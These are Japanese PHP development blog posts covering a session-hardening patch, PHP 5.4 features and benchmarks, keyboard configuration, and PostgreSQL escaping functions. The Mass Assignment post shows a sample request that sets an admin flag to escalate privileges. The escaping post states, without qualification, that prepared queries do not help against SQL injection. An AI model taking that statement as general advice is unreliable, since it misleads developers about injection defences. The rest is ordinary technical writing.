| 「PHP徹底構築」を頂きました » |
PHPのStrict Sessionパッチ
のんびりしていた訳ではありませんが、PHP 5.4.1のブランチが作られたので慌ててStrict Sessionパッチを改訂しました。
master
https://gist.github.com/1379668
5.4
https://gist.github.com/2224196
5.3
https://gist.github.com/2224360
以前、Gistに入れていたパッチとの違いは、
- PSモジュール(セッションセーブハンドラ)のAPIを変更しないように修正
(これにより使っているハンドラが対策済みかどうかは見て分かるようには出来なくなりました。その代りにmemcacheなどのサードパーティのセーブハンドラのコンパイル済みバイナリとの互換性を維持しています。) - セッションIDのコリージョン(衝突)を検出
(三回リトライしてもコリージョンする場合はエラー。通常、三回もコリージョンすることはまずあり得ません。)
となります。
PSモジュールを書く方(ユーザセーブハンドラ含む)はセッションをOPENする場合にセッションIDが初期化済みか、チェックする必要があります。
と、ここまで書いてパッチに多少問題がある事に気が付きました。自動生成する場合はコリージョンを検出していますが、session_regenerate_id()で生成する場合はコリージョンをチェックしていません。session_regenerate_id()を呼んだ時もチェックしないと片手落ちなので近いうちに修正します。
パッチを書いていてsession_write_close()してsession_start()をした場合、おかしくなることに気が付きました。困っている人が居るか、バグDBを検索するとやはり数人からバグレポートされていました。この件は別途に対応する事にします。
パッチを使ってみてくださる方、大募集です。ZTS、Non-ZTSの両方でUNITテストは実行していますが、Webサーバでテストしていません。動いたら、Twiterなどで良いので教えてください。よろしくお願いします。
このパッチについては、こちらをご覧ください。これは私が書いているのでおかしな英語があった場合、教えて頂けると助かります。
フィードバックはまだありません...
コメントを残す
「PHP徹底構築」を頂きました
廣川類さんが執筆された「PHP徹底構築」を頂きました。3/29日発売らしくアマゾンでも予約受付中の出来たてホヤホヤの本です。書籍イメージも無かったので自分の携帯で撮った写真を載せておきます。
最新版のPHP 5.4にも対応しています。先程届いたばかりなので読むのはこれからですが、内容を簡単に紹介します。
...
実用Webアプリの作り方をテーマにした本らしく、しばしばPHPアプリで問題となるセキュリティの解説から始まっています。- 第一章 攻撃を防ぐセキュリティの確保
- 第二章 再利用・開発効率化の為のオブジェクトとクラス
Traitsにも対応 - 第三章 一連の処理を管理するセッションの仕組み
- 第四章 成りすましを防ぐ認証の仕組み
OpenID, OAuthの解説もあり - 第五章デザイン・処理の並列開発を可能にするテンプレート
- 第六章 柔軟かつ厳密にデータを記述できるXML
- 第七章 複数の文字セットやモバイル端末に対応する日本語処理
- 第八章 開発効率化・性能改善のためのテスト/デバッグとチューニング
- 第九章 性能を大幅に改善するキャッシュの仕組み
- 第十章 PDF/画像を動的に生成する
- 第十一章 フレームワークで開発を効率化する
- 第十二章 クラウドを支えるWeb API
Yahoo, Amazon, Twitter, Mixi, Facebok, Hatena, GoogleのAPIが紹介されている
PHPの文法やコードの書き方は一通り覚えた。次に進もう、という方にお勧めだと思います。
フィードバックはまだありません...
コメントを残す
OSC愛媛2012の資料 - PHP5.4とはどんなPHPなのか?
OSC愛媛2012の「PHP5.4とはどんなPHPなのか?」の資料を公開します。ポイントは以下の通り。
- PHP 5.4は基本的にはベターPHP5.3
- 互換性問題もあるが、一般に致命的な問題はない
- 全般にPHP5.4は速い
- 移行を考えている方は早い方が良い(使える期間が長くなる)
- ディストリビューションのPHPを使う、という選択もある(RHEL6 PHP5.3, Ubuntu LTS PHP5.4?)
プラットフォームの選択には様々な事情がありますが、Traitsはコードを効率良く再利用するには便利な機能です。さっと移行してしまうのも良いでしょう。
ところで、Traitsの例としてアクセサの実装例を紹介しています。
https://gist.github.com/1379592
しかし、次のPHPではC#風のアクセサ文法がサポートされる可能性があります。
https://wiki.php.net/rfc/propertygetsetsyntax
こちらの方が色々便利です。利用する場合は、このような文法が実装される可能性があることを理解した上で使うと良いと思います。
モデレーション待ちのフィードバック
この投稿にはモデレーション待ちのフィードバックが 1 件あります....
コメントを残す
PHP Git Repository
フィードバックはまだありません...
コメントを残す
第二回 岡山PHP勉強会のスライド
第二回 岡山PHP勉強会のスライドです。
遅くなりました。多少追記したい部分があったのですが、取り敢えず公開します。
フィードバックはまだありません...
コメントを残す
PHP: comma vs. dot #2
少し前にPHPのechoはカンマとドット、どちらの方が速い?というエントリを書きました。
http://blog.ohgaki.net/echo-comma-vs-dot
この時は長めの細切れな文字列を連結しています。カンマの方が2割ほど速い結果でした。古いPHPでは短く単純な文字列の場合もで速かった、と記憶していました。手元のPHP5.3の性能が気になったのでabで簡単に試してみました。
...
<?php echo 'aaaaaaaaaaaaaaaaaaa', 'bbbbbbbbbbbbbbbbbbb', PHP_EOL ?>
Requests per second: 4409.19 [#/sec] (mean)
<?php echo 'aaaaaaaaaaaaaaaaaaa'. 'bbbbbbbbbbbbbbbbbbb'. PHP_EOL ?>
Requests per second: 3712.72 [#/sec] (mean)
このケースでもおよそ2割ほどカンマの方が速い結果となりました。
追記: ソースコードからはほぼ同じ速度になってもおかしくないかも、と思える部分があったのでもう少しだけテストしてみました。同じPC上でabとApacheを動作させていたのですが、繰り返し実行してみると予想以上にかなり結果にばらつきがありました。正確に記録をとって比較していないので感覚的にですが、1割くらい速いような感じでした。
以下のように更に短く単純な文字列にしてみると
<?php echo 'a','b',PHP_EOL ?>
ほぼ同じかもしかするとドットで連結した方が速いかも、と思える結果でした。
PHPのベンチマークをよく取っている方なら細かく正確なベンチマークをあまり意味の無いことを良くご存知だと思います。単機能、単純なベンチマークはマイナーバージョンが違うだけでもかなり異なる事が多く、実際に自分の環境で速くなるかは分からないからです。(もともとベンチマークとはそういう物ですけどね)
これらの結果から推測すると、出力をキャッシュしていないアプリならカンマに換えるだけで計測できるくらいの差が出ることが多いと考えられます。しかし、かならず有意なほどの速度差がでる、とは限らないので態々カンマをドットに書き換えるような作業はあまりお薦めできません。
少し長い文字列を利用した場合のabコマンドの出力結果
[yohgaki@dev public_html]$ ab -c 100 -n 10000 http://yohgaki/echo.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking yohgaki (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software: Apache/2.2.21
Server Hostname: yohgaki
Server Port: 80
Document Path: /echo.php
Document Length: 39 bytes
Concurrency Level: 100
Time taken for tests: 2.268 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Total transferred: 2320000 bytes
HTML transferred: 390000 bytes
Requests per second: 4409.19 [#/sec] (mean)
Time per request: 22.680 [ms] (mean)
Time per request: 0.227 [ms] (mean, across all concurrent requests)
Transfer rate: 998.96 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.3 0 4
Processing: 3 22 4.6 21 42
Waiting: 3 22 4.6 21 42
Total: 7 23 4.6 22 42
Percentage of the requests served within a certain time (ms)
50% 22
66% 24
75% 26
80% 27
90% 28
95% 30
98% 33
99% 37
100% 42 (longest request)
[yohgaki@dev public_html]$ ab -c 100 -n 10000 http://yohgaki/echo.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking yohgaki (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software: Apache/2.2.21
Server Hostname: yohgaki
Server Port: 80
Document Path: /echo.php
Document Length: 39 bytes
Concurrency Level: 100
Time taken for tests: 2.693 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Total transferred: 2320232 bytes
HTML transferred: 390039 bytes
Requests per second: 3712.72 [#/sec] (mean)
Time per request: 26.934 [ms] (mean)
Time per request: 0.269 [ms] (mean, across all concurrent requests)
Transfer rate: 841.25 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.3 0 4
Processing: 15 27 6.5 24 59
Waiting: 15 26 6.4 24 59
Total: 15 27 6.6 24 62
Percentage of the requests served within a certain time (ms)
50% 24
66% 29
75% 30
80% 31
90% 36
95% 41
98% 46
99% 50
100% 62 (longest request)
[yohgaki@dev public_html]$
フィードバックはまだありません...
コメントを残す
Git Hubの脆弱性とMass Asssignment
Git HubがMass Assignment脆弱性に脆弱で他のレポジトリが見れる状態だったらしい。問題は既に修正されています。
この脆弱性はRailsに限った事ではないし、古くからPHPを使っているユーザにとってはある意味懐かしい脆弱性でもあると思ったのでエントリを書いてみました。
...
Mass Assignment脆弱性はRuby on Rails Security Guidesにも記載されている脆弱性でActiveRecordの値をハッシュで一度に設定できる機能の脆弱性です。具体的には以下のようなコードが問題となります。
def signup params[:user] # => {:name => “ow3ned”, :admin => true} @user = User.new(params[:user])enduserががハッシュとして渡されていてその中の変数がプロパティとして設定される、という便利な機能です。
Userオブジェクトがadminプロパティを持っている場合
params[:user] # => {:name => “ow3ned”, :admin => true}などと user.adminがtrueとなってしまう様に設定すると普通のユーザが管理者権限を持ってしまうと、といった感じでセキュリティ問題となります。対策は簡単です。
attr_protected :adminとしてプロパティを保護するように指定するだけです。
古くからのPHPユーザにはregister_globalsが有効だった頃の脆弱性と全く同じ、と懐かしく思った方も多いかも知れません。今時、register_globals=onで運用しているシステムは非常に少ないと思います。もうこの脆弱性はPHPユーザには関係ない、と思うかも知れませんがそうはいきません。
このMass Assignmentと呼ばれる脆弱性はRailsの限った脆弱性では有りません。オブジェクトのプロパティを一度に変更できるような物は脆弱になる可能性があります。ActiveRecordのようなORM全般に見られる脆弱性なのでPHPでORMやオブジェクトのプロパティを一度に変更できるような仕組みを使う場合もMass Assignment脆弱性に注意が必要です。
この脆弱性に気づく事はそれほど難しくないと思います。便利な機能にはリスクがあることが多いので、使う前にどんなリスクがあるのかな?と少し考えてみると落とし穴を避けることができると思います。
追記:オブジェクトのプロパティを配列などから一度にアサインするような場合にセキュリティ問題が起きるのですが、おかしな説明だったので多少修正。基本的に配列やハッシュなどから一度に何かを変更できるような物にはMass Assignment脆弱性の問題が発生する可能性があるので注意が必要です。
フィードバックはまだありません...
コメントを残す
PHP 5.4 リリース!!
リンク: http://www.php.net/archive/2012.php#id2012-03-01-1
PHP 5.4がリリースされました。
詳細はソースに添付されているUPGRADINGとNEWS、マニュアルのマイグレーションガイドから参照できます。
...
注目の新機能
- Trait
- 配列の省略記法 $array = [1, 2, 3]; $array = ['a'=>1, 'b'=>2, 'c'=>3];
- 配列を返す関数の添字へ直接アクセス foo()[0] などと利用可能
- オブジェクト生成時のメンバーアクセス (new foo)->method(), (new foo)->property
- タイプヒントにcallableが追加 function(callable $func)などと利用可能
- CLI Server
個人的にはCLI Serverは非常に便利だと思います。PHPのWebアプリを少し試したい、といった場合にWebサーバを別途に用意しなくてもPHPだけで試す事ができます。しかもかなり高性能です。CLIのインタラクティブモード(php -a)にページャが指定できるようにもなりました。地味ですが便利な機能だと思います。
注目の仕様変更
- ショートオープンタグ"<?"が常に利用可能
default_charsetはUTF-8がデフォルトhtmlentities/htmlspecialcharsのデフォルトがUTF-8に変更- 文字列の取り扱いに整合性($str[0][0], str('abc', 'xyz),などの動作が変わる)
- htmlentitiesの動作が厳格に(いろいろ変わっています。UPGRADINGを参照)
- ZendマルチバイトサーポートがコンパイルオプションからINIオプションへ(zend.multibyte)
- スクリプトエンコーディング(zend.script_encoding、declare(encoding="encname"))
- レガシー機能(マジッククオート、Zendエンジン1互換性、古いセッションモジュールとの互換性、セーフモードなど)の削除
- E_ALLにE_STRICTが追加
- ext/sqliteがPECLへ(SQLite3はそのまま)
- $_SERVER['REQUEST_TIME_FLOAT']が追加
このブログでも紹介しましたが、文字エンコーディングの取り扱いが変わっています。
関数や式の戻り値が変ってしまう場合もあるので以前のPHPからのアップグレードには注意が必要です。
PHP5.4の性能
便利そうな機能が増えると性能も気になります。PHP5.4の性能は全般的に以前のPHPより向上しています。PHPのCIシステムのベンチマークでは全般的な性能向上が分かります。
http://windows.php.net/downloads/snaps/ostc/pftt/perf/results-20120203-5.3.10-5.4.0RC7.html
アプリケーションレベルではバイトコードキャッシュが無い状態で1割程度の性能向上も期待できそうです。
まとめ
ロードマップによるとPHP 5.4のリリース後1年でPHP 5.3はEOL、その一年後にはセキュリティパッチのリリースも停止される予定です。慌ててマイグレーションの準備をする必要はありませんが、計画的にマイグレーションをすすめる必要があります。 PHP 5.4対応はこれからですが、このような用途にPROVE for PHPは適しています。
多くのスクリプト、アプリケーションはそのまま動作すると思います。しかし、マイナーバージョンアップなので思わぬ所で問題が発生しないように注意してください。
追記
NEWSファイルの記述が誤っており、default_charsetでなくhtmlentities/htmlspecialcharsのデフォルト文字エンコーディングが変更されている。リポジトリのNEWSファイルは修正されている。
フィードバックはまだありません...
コメントを残す
echo:comma vs dot
昨日、echo 'abc','xyz' (カンマ) と echo 'abc'.'xyz' (ドット) とどちらが速い?と言う話になったので簡単な実験をしてみました。
PHPのソースコードを見るとどちらも有利な点と不利な点があります。随分前に試した時も一般にカンマの方が速いと思える結果でしたがPHP5.3ではどうなのか試してみました。
...
コード
<?php
$text = '
Prevent possible crash when joining to a scalar function
Prevent transitory data corruption of GIN indexes after a crash
Prevent data corruption on TOAST columns when copying data
Fix failures during hot standby startup
Correct another "variable not found in subplan target list" bug
Fix bug with sorting on aggregate expressions in windowing functions
Multiple bug fixes for pg_upgrade
Change Foreign Key creation order to better support self-referential keys**
Multiple bug fixes to CREATE EXTENSION
Ensure that function return type and data returned from PL/perl agree
Ensure that PL/perl strings are always UTF-8
Assorted bug fixes for various Extensions
Updates to the time zone database, particularly to CST6
Changes marked with ** above require additional, post-update steps in order to fix all described issues. See the release notes for each version for a full list of changes with details of the fixes and steps.
One-click installer, including Windows packages';
$ary = split(' ', $text);
if (!empty($_GET['c'])) {
$scr = 'echo \''.join('\',\'', $ary).'\';';
} else {
$scr = 'echo \''.join('\'.\'', $ary).'\';';
}
echo $scr;
for ($i=0; $i<100; $i++) {
eval($scr);
}
速度差が分かりやすいように100回出力を繰り返しています。これをabで実行してみました。
このケースの場合、
ドット
Requests per second: 459.25 [#/sec] (mean)
カンマ
Requests per second: 582.24 [#/sec] (mean)
となり、カンマの方がおよそ27%ほど速い結果となりました。
試していませんがechoで出力する文字列が短く、文字列連結が少ない場合、連結のオーバーヘッドが小さいのでここまでの違いは出ないか、もしかすると速くなるケースもあると思います。ただ、恐らく一般のアプリケーションはドットで連結してから出力するより、カンマで連結なしで出力した方が速くなるケースの方が多いと思われます。
CMSなどで実験すると分かりやすいのですが、流石に書き換えが結構大変。。。
どなたか実験された方がいらしたら教えてください。
abの実行結果: ドット
[yohgaki@dev ~]$ ab -c 100 -n 10000 http://192.168.100.51/echo.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking 192.168.100.51 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software: Apache/2.2.15
Server Hostname: 192.168.100.51
Server Port: 80
Document Path: /echo.php
Document Length: 84947 bytes
Concurrency Level: 100
Time taken for tests: 21.774 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Total transferred: 851290000 bytes
HTML transferred: 849470000 bytes
Requests per second: 459.25 [#/sec] (mean)
Time per request: 217.745 [ms] (mean)
Time per request: 2.177 [ms] (mean, across all concurrent requests)
Transfer rate: 38179.50 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.6 0 5
Processing: 8 217 113.1 212 1033
Waiting: 1 64 79.0 13 218
Total: 8 217 113.1 213 1033
Percentage of the requests served within a certain time (ms)
50% 213
66% 227
75% 250
80% 271
90% 364
95% 439
98% 533
99% 599
100% 1033 (longest request)
abの実行結果: カンマ
[yohgaki@dev ~]$ ab -c 100 -n 10000 http://192.168.100.51/echo.php?c=1
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking 192.168.100.51 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software: Apache/2.2.15
Server Hostname: 192.168.100.51
Server Port: 80Document Path: /echo.php?c=1
Document Length: 84947 bytes
Concurrency Level: 100
Time taken for tests: 17.175 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Total transferred: 851290000 bytes
HTML transferred: 849470000 bytes
Requests per second: 582.24 [#/sec] (mean)
Time per request: 171.751 [ms] (mean)
Time per request: 1.718 [ms] (mean, across all concurrent requests)
Transfer rate: 48403.74 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.9 0 7
Processing: 6 171 140.9 145 1388
Waiting: 1 17 20.6 6 375
Total: 6 172 141.0 146 1388
Percentage of the requests served within a certain time (ms)
50% 146
66% 175
75% 205
80% 233
90% 340
95% 444
98% 595
99% 705
100% 1388 (longest request)
フィードバックはまだありません...
コメントを残す
Apple KeyboardをLinuxとWindowsで使用する
HHKが壊れてしばらく普通のJIS配列キーボードを使っていたのですが、我慢ができなくなりLinux PC用にJIS配列Apple KeyboardのUSB版(フルサイズのApple Keyboard)を購入しました。
Macbookと同じ配列のワイヤレスの場合、長時間の入力には向かない、とAppleサイトの製品レビューにはあったのでUSB版を購入しました。
...
LinuxとLinux上のVMwareでWindowsを利用しています。Linux/Windowsで一番問題になるかな、と思ったのは漢字キーです。
BootcampにインストールしたWindowsの場合、漢字キーの代わりにCapsLockキーを利用します。AppleのドライバをインストールしていないWindowsでもCapsLockキーで漢字入力の切り替えがでました。取り敢えずはドライバ無しでも特に困ることは無いようです。
Apple Keyboardがどのようなキーコードを送っているかLinux上のxevコマンドで確認しました。
KeyPress event, serial 33, synthetic NO, window 0x5400001,
root 0x1ae, subw 0x0, time 79424903, (-126,548), root:(2567,594),
state 0x10, keycode 66 (keysym 0xff30, Eisu_toggle), same_screen YES,
XLookupString gives 0 bytes:
XmbLookupString gives 0 bytes:
XFilterEvent returns: False
英数キー(Eisu_toggle)が押された事になっている事がわかります。
通常のJIS配列キーボードで漢字(全角半角)キーを押した場合、
KeyRelease event, serial 33, synthetic NO, window 0x5400001,
root 0x1ae, subw 0x0, time 77693326, (-126,549), root:(2567,595),
state 0x10, keycode 49 (keysym 0xff2a, Zenkaku_Hankaku), same_screen YES,
XLookupString gives 0 bytes:
XFilterEvent returns: False
全角半角キー(Zenkaku_Hankaku)が押された事になっています。
Windowsの場合、英数キーでも漢字キーでも日本語入力モードに切り替わるのでBootcampのWindowsと同じ使い勝手でWindowsを使う事ができます。(ただし、CapsLockキーがMacBookやワイヤレスキーボードの場合は左下、フルサイズのUSBの場合は右下、と位置が異なりますが)
Linuxの場合、漢字キーを押してもSHIFT+SPACEを押しても日本語入力モードになるでこのままでもあまり困りませんが同じキー操作で入力モード方式を変更できる方が便利です。X Windowsは~/.xmodmaprcファイルでキーボードのバインティングを自由に変更できるので以下のようにカスタマイズしました。(システムによっては~/.xmodmaprcではなく~/.Xmodmap, ~/.xmodmapの場合もあります)
設定を試すにはxmodmapコマンドで設定ファイルを読み込みます。
xmodmap .xmodmaprc
!で始まる行はコメントです。古い設定はHHKが壊れた時に通常のJIS配列キーボードを代用していた時の設定です。全角半角のESCにESCを漢字キーに、CapsLockをCTRLにして使っていた時の設定です。
[yohgaki@dev ~]$ cat .xmodmaprc
!remove Lock = Caps_Lock
!keysym Caps_Lock = Control_L
!add Control = Control_L
!keycode 9 = Zenkaku_Hankaku
!keycode 49 = Escape
remove Lock = Caps_Lock
keycode 66 = Zenkaku_Hankaku
恐らく多くのLinux環境でApple Keyboardを使うには最後の2行を足すだけで十分でしょう。Apple KeyboardのCapsLockキーを押した場合、英数キーを押した場合と同じなります。Shiftキーを押しながらCapsLockを押すとCapsLockのキーコードが送られるのですが、CapsLockキーが生きている状態だとCapsLockだけ押してもShift+CapsLockを押したような状態になるので無効にしました。
参考までに私のJIS配列キーボードに設定しているLinuxではApple Keyboardがどのようなキーコードを送っていたか列挙しておきます。
- 英数:なし
- かな: なし
- Contorol: 左Control
- 左Command: keycode 133 (keysym 0xffeb, Super_L)
- 右Command: keycode 134 (keysym 0xffec, Super_R)
- F13: なし
- F14: PrintScreen
- F15: なし
- F16: Pause
- F17からF19: なし
- Clear: NumLock
- Fn: なし
個人的にはKVM用にScrollLockキーが無いと困るのですが、これはそのうち調べる事にします。
追記:
入力モードを切り替えるだけなら入力メソッドの設定を変える方法もあります。例えば、私はiBusをGnomeで使っているのでメニューバーのiBusアイコンを右クリックして設定メニューのキーボードショートカットで変更することもできます。
追記2:
KVM経由の入力からxevでキーコードを見ているので、KVMが無い環境だと違った結果になるかも知れません。http://support.apple.com/kb/HT1216 を見るとScrollLockの送り方も書いてあるのですがWindows環境ではドライバで対応しているのではないか?と思います。KVMには実際にキーコードが送られないとどうしようもありません。CoregaのPC4KVMCAというKVMですがホットキーが切り替え可能でした。F12に割り当てて全て以前通りに利用できるようになりました。
追記3:
Windowsの場合、Caps Lockで英数モードと漢字モードを切り替えることができるのですがIME(入力メソッド)をオフにすることができません。ドライバを入れるなどして対応しないとWindows常用するには難があります。
フィードバックはまだありません...
コメントを残す
第2回岡山PHP勉強会 2/21(火)
フィードバックはまだありません...
コメントを残す
PHP 5.4でのAccessorとPHP 5.5以降で検討されているAccessor
二回目のPHP 5.4 Advent Calender用のエントリです。
今回はPHP 5.4より後のPHP(5.5かな?)で利用可能になると思われるAccessorの仕様について紹介します。まずはAccessorのおさらいから。
...
PHP 5.3まで
class foo {
private $var;
function getVar() { return $this->var; }
}
などと書いてプライベートプロパティなどにアクセスするのがAccessorです。アクセサの良い部分はアクセスを制限できることです。この例の$this->varはリードオンリープロパティと同じ効果があります。
しかし、クラス、プロパティが沢山ある場合にこんな風に書くのは面倒ですし、機械的な作業の繰り返しになります。
PHP 5.4
PHP 5.4からはTraitsが使えるようになるため、繰り返し書かなくてもよくなります。
https://gist.github.com/1379592
<?php
// Example code how to eliminate getter and setter methods
// with traits introduced from PHP 5.4
trait Accessors {
public function __get($name) {
if ($this->r_property[$name])
return $this->$name;
else
trigger_error("Access to read protected property");
}
public function __set($name, $value) {
if ($this->w_property[$name])
$this->$name = $value;
else
trigger_error("Access to write protected property");
}
}
class OrderLine {
use Accessors;
private $r_property = array('price'=>1, 'amount'=>1);
private $w_property = array('price'=>0, 'amount'=>1);
protected $price;
private $amount;
private $tax = 1.15; // property without getter/setter
public function getTotal() {
return $this->price * $this->amount * $this->tax;
}
}
$line = new OrderLine;
$line->price = 20;
$line->amount = 3;
echo "Total cost: ".$line->getTotal();
?>
こんな感じです。これでも十分便利なのですが、Rubyにはリードオンリープロパティがあったり、C#には汎用的なアクセサの構文があります。
PHP 5.5以降
まだ構文が検討されている段階なので最終的にどうなるか分かりませんが、C#に近い感じのアクセサが実装される予定です。
class Foo
{
protected $name {
get { return $this->name; }
set { $this->name = $value; }
}
// ...
}
プロパティ名の後にブロックが定義できるようになり、get/setの処理が定義できるようになります。
単純なリードオンリープロパティに比べて、時間を秒に変換したり、価格を税率に合わせて税込価格にしたり、といった処理ができるのでとても便利です。書き込み時にも同様に処理が記述できます。get/setの処理がプロパティに近い場所で定義されるのでコードも読みやすくなります。
以下はそのパッチです。
https://bugs.php.net/patch-display.php?bug_id=49526&patch=accessor_v2.diff&revision=latest
以上、簡単ですがPHP 5.4とそれ以降のPHPでアクセサがどのように変わるのか紹介しました。
フィードバックはまだありません...
コメントを残す
PROVE for PHP Version 1.1.0
リンク: http://www.provephp.com/ja/
PROVE for PHP Version 1.1.0を公開しました。特に重要な変更はログデータ構造の変更と各種オーバーライド機能の調整です。
今までext3/ext4ファイルシステムの場合、ディスク容量を使い切る前にパフォーマンスが低下してしまい大きなデータを保存できませんでした。データ構造を見直す事により大きなデータでも安定して動作するようになっています。
...
新しいPROVEは数百GBのディスクでも使い切る事ができます。しかし、カーネルが古い場合はファイルシステムの管理領域のデータは使用済みと表示されません。PROVEは非常に多くのファイルを作成するため、多くの管理領域が必要となります。記録するアプリケーションの種類にもよりますが、kernel 2.6でext3/ext4の場合は25%ほどを使用した場合はディスク全体を使い切っています。btrfs/reiser4の場合はもう少し効率が良く、50%弱を使用した頃にディスク全体を使い切ります。
同じシステムでkernelだけを3.1に切り替えて空き容量を確認するとシステム管理者用にリザーブされた領域を除いてディスクを使い切っている事を確認できまます。
カーネルが誤った情報を表示してしまうのでアプリケーションで何とかするのは難しいですが、書き込みに失敗した場合はディスクフルである、とのエラーメッセージを表示できるようにするよう検討中です。
PROVEについてご意見・ご希望は私のツイッターアカウントかPROVE公式アカウント
https://twitter.com/#!/provephp
へお願いします。
まだまだいろいろ足りない機能などがありますが、順次追加していきます。これが必要!との声を頂けるとそちらが優先される場合もございます。お気軽にフィードバックを頂けるようお願いします。
フィードバックはまだありません...
コメントを残す
PostgreSQL 9.0から使える識別子とリテラルのエスケープ
PostgreSQL Advent Calender用のエントリです。
エスケープ処理が必要なのにエスケープ用のAPIが無い状態は良くありません。エスケープしないために動かないのはまだ良い方です。エスケープが必要なのにエ スケープをしなくても動いてしまい、セキュリティ上の問題となる場合もあります。全てのアプリケーション・ライブラリはエスケープが必要なデータに対するAPIを持っておくべき です。今回はPostgreSQL 9.0から追加されたエスケープ関数を紹介します。
PostgreSQL使い始めて最初の頃に気づくのはuserなどの予約語がフィールド名に使えない事かも知れません。例えば、
yohgaki@[local] test=# CREATE TABLE user (name text);
ERROR: syntax error at or near "user"
行 1: CREATE TABLE user (name text);
と失敗してしまいます。これはuserがPostgreSQLの予約語であるためSQL文の識別子として使用できないからです。MS Accessからデータベースに入った方には識別子に日本語を使う場合も多いので、PostgreSQLでは日本語のテーブル名やフィールド名はそのままでは使えない事に気が付いた方も多いのではないでしょうか?
...
日本語や予約語の識別子が古いPostgreSQL(7.xでも)使えます。PostgreSQL9.0以前でも"(ダブルクオート)を利用して予約語や日本語テーブル名・フィールド名を持つデータベースを作る事はできました。PostgreSQLは正しい文字エンコーディングで適切なエスケープ処理を行えば安全にどのようなテーブル名・フィールド名でも利用できます。例えば、識別子の間にスペースがあっても構いません。
yohgaki@[local] test=# CREATE TABLE "日本語 table" (name text);
CREATE TABLE
時間: 380.505 ms
yohgaki@[local] test=# \d "日本語 table"
テーブル "public.日本語 table"
カラム | 型 | 修飾語
-----------+------+-----------
name | text |
これはPostgreSQL 8.4で実行した例です。このように比較的古いPostgreSQLも機能的には、どのようなテーブル・フィールド名でも使えるようになっていました。
PostgreSQL 9.0のlibpq(PostgreSQLクライアント用のライブラリ)からテーブル名・フィールド名をエスケープできる PQescapeIdentifierとリテラル(フィールドのパラメータ)をエスケープできるPQescapeLiteral関数が追加されました。 クエリパラメータの方はPQescapeStringConnというエスケープ関数が以前から利用可能でしたが、識別子のエスケープ関数はPostgreSQL 9.0で初めて追加されました。
エスケープのAPIを提供するということは「エスケープが必要である」とユーザに明示する意味もあります。あるべきAPIがやっと実装されたというべきかも知れません。
PQescapeIdentifier()とpg_escape_identifier()
PostgreSQL 9.0からはテーブル・フィールド名をエスケープするPQescapeIdentifier関数が追加されています。PQescapeIdentifier関数は文字列を識別子用にエスケープした上、ダブルクオートで囲んだ文字列を返します。
日本語\\ \"テーブル"
は次のようにエスケープされる
"日本語\ ""テーブル"
文字列がダブルクオートで囲まれ、エスケープが必要な文字(")がダブルクオートでエスケープされている事がわかります。文字エンコーディンのチェックも行っています。この関数さえ利用していればダブルクオートで囲まれ、正しくエスケープ処理された文字列が返って来ます。正しくエスケープされているのでSQL文に埋め込んでも安全です。
データベース管理アプリを作った事がある方ならよくご存知と思いますが、プリペアードクエリはSQLインジェクション対策に役立ちません。しかし、このPQescapeIdentifierを使えば確実に安全なクエリをデータベースに送信できます。
PQescapeLiteralとpg_escape_literal
PQescapeLiteralはPQescapeStringConnに代わるクエリパラメータのエスケープ関数です。動作はPQescapeStringConnと大きくは異なりませんが、確実なパラメータ処理を行う為に最初に"E"を追加しエスケープされた文字列を’(シングルクオート)で囲みます。
以下はPQescapeLiteralを利用したPHPのpg_escape_literal関数の実行例です。
[yohgaki@dev php-src]$ ./php -r 'var_dump(pg_connect("host=127.0.0.1 dbname=test"),
pg_escape_literal("日本語 テキスト"));'
resource(4) of type (pgsql link)
string(26) " E'日本語 テキスト'"
データベースアクセス抽象化レイヤーには文字列をエスケープしてシングルクオートで囲む、quote()メソッドが実装されている事がありますが、それらの関数と同様の動作を行います。
C言語でプログラミングしていればPQescapeStringConnの方が便利である事も多いのですが、文字列の取り扱い(連結)が容易なスクリプト系の言語ではPQescapeLiteralの方が便利が良いです。
名前がEscape Literalとなっているのは良い命名だと思います。プリペアードクエリを使わずにSQL文やその一部を作る場合は、数値、日付、文字列、全てのパラメータ(リテラル)をエスケープ処理してから送信すべきだからです。この名前であれば初心者にありがちな「数値なのでエスケープ処理をしない」といった誤りを防止できると思います。
PHPのpg_escape_identifier()とpg_escape_literal()
PQescapeIdentifierとPQescapeLiteralはPostgreSQL 9.0以降のlibpqで利用できますが、PHPのpgsqlモジュールは9.0未満のlibpqとコンパイルした場合も利用できるようになっています。
